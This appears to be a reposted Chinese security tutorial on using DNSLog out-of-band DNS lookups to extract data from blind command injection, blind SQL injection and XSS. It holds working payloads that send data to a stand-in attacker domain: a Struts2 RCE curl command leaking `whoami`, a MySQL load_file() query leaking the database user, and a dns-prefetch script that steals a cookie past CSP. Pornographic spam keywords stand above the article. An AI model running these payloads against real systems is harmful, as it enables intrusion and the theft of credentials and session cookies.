欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

DNSLog使用方法及場景分析

 更新時間:2023年05月23日 10:20:39   作者:why so serious -a  
這篇文章主要介紹了DNSLog使用方法,本文給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下

DNSLOG的原理

DNS的解析是遞歸與迭代相結合的,下面給出了當我們訪問www.cloudcrowd.com.cn時,DNS的解析過程示意圖。

其中,紅色部分是可控的。我們只需要搭建一個紅色部分的DNS服務器,并將要盲打或盲注的回顯,放到自己域名的二級甚至三級域名上去請求,就可以通過DNS解析日志來獲取到它們。

DNSLOG工具

如果有自己的服務器和域名,可以自建一個這樣的平臺,直接使用BugScan團隊開源的工具搭建即可:

https://github.com/BugScanTeam/DNSLog。

另外我們也可以使用在線平臺:

http://admin.dnslog.link。

http://ceye.io

場景一:命令盲注回顯

針對不回顯的命令注入漏洞,我們很難確定漏洞的存在并進一步利用,如17年9月爆發(fā)的Struts2-052反序列化命令執(zhí)行漏洞是看不到任何回顯的,針對這種情況,我們可以利用DNSLOG來獲取命令的執(zhí)行結果。這里使用已有的EXP來完成漏洞利用,EXP地址為https://github.com/luc10/struts-rce-cve-2017-9805。

利用方式為go run main.go -u URL -c “command”。

Payload:

go run main.go -u http://www.exploit-target.com/struts2-rest-showcase/orders.xhtml -c 'curl "http://`whoami`.your-dnslog.com"'

根據語法規(guī)定,會先將雙引號中的whoami命令執(zhí)行并替換為結果,再執(zhí)行整個的curl命令??梢栽赪eb控制臺下看到結果:

可以看到本來看不到的whoami回顯root已經被我們接收到了。為了防止內容不適合作為域名的一部分,我們也可以base64編碼后再進行請求。

場景二:SQL盲注回顯

不論是bool型盲注還是時間型盲注,都需要頻繁的跑請求才能夠獲取數據庫中的值,在現代WAF的防護下,很可能導致IP被ban。我們可以結合DNSLOG完美快速的將數據取出。如遇到MySql的盲注時,可以利用內置函數load_file()來完成DNSLOG。load_file()不僅能夠加載本地文件,同時也能對諸如\www.test.com這樣的URL發(fā)起請求。

Payload: select load_file(concat(‘\\', user(), ‘.your-dnslog.com'));

可以在Web控制臺下看到結果:

用戶名已經被發(fā)送到了我們的服務器上。

場景三: XSS繞過CSP

CSP(內容安全策略)是防御XSS最有效的手段之一。當我們發(fā)現一個網站有XSS漏洞,想利用XSS平臺來打Cookie時,CSP會通過白名單的方式,禁止跨域加載腳本,惡意代碼便會因此被阻擋在門外,導致此XSS無法利用。對此,我們可以使用DNS預解析突破CSP的阻攔。

DNS預解析(DNS Prefetching)是一種能夠加快網頁加載速度的技術,對于跨站的鏈接,由于每次都要進行一次DNS解析,會消耗掉很多時間。DNS預解析在瀏覽器空閑時,將跨站資源的域名轉化為IP 地址并緩存,真正請求資源時就避免了解析的時間。

有趣的是,DNS預解析是默認開啟的,并且我們可以通過rel="dns-prefetch"來強制進行DNS預解析。由于DNS預解析可以繞過CSP進行解析,結合DNSLOG,我們即可竊取在CSP保護下的Cookie。

Payload:document.querySelector('body').innerHTML += "<link rel='dns-prefetch' href='" + window.btoa(document.cookie.split(/;|=/)[1]) + ".your-dnslog.com'>"

上面的Payload將Cookie中截取的重要字段進行簡單的base64編碼后,作為我們DNSLOG平臺的二級域名,并在body中插入了相應的link標簽對此域名進行強制DNS預解析。當觸發(fā)XSS攻擊時,可以在Web控制臺下看到結果:

直接對R0ExLjIuMTY0MjI2NDMxNi4xNTMyNTc0NTg3解碼即可得到Cookie。當然,這種方法的利用條件極為苛刻。首先,作為XSS攻擊,此Payload過長,而使用短連接加載外部腳本則又會回到被CSP限制的原點;其次,根據DNS的規(guī)定,域名的長度是有限制的,有時可能無法將長Cookie完全帶出。·本文僅分享一個拋磚引玉的思路,進一步的利用方式還有待開發(fā)。

結語

除了上面詳細列出的例子之外,DNSLOG還可以利用在諸如Blind XXE和Blind SSRF之類的漏洞上,原理其實和命令盲注是一樣的,在此不做詳述。有興趣的讀者可以自行探索與驗證。

到此這篇關于DNSLog使用方法的文章就介紹到這了,更多相關DNSLog使用方法內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

最新評論